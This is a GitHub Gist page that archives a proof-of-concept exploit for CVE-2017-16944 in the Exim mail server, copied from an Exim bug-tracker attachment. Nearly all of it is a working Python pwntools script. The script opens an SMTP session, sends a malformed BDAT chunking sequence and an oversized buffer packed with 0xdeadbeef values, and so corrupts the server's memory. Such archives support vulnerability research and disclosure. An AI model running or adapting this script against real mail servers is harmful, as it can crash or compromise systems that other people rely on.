Skip to content

Instantly share code, notes, and snippets.

@LetUsFsck
Last active November 26, 2017 06:51
Show Gist options
  • Save LetUsFsck/dd6a1111b157fe9ca680206ecba1ad32 to your computer and use it in GitHub Desktop.
Save LetUsFsck/dd6a1111b157fe9ca680206ecba1ad32 to your computer and use it in GitHub Desktop.
CVE-2017-16944 PoC/Exploit Archive
# ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052
# Conversation
# https://bugs.exim.org/show_bug.cgi?id=2199
# https://bugs.exim.org/show_bug.cgi?id=2201
#
#
# CVE-2017-16944 (Associated: CVE-2017-16943)
#
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment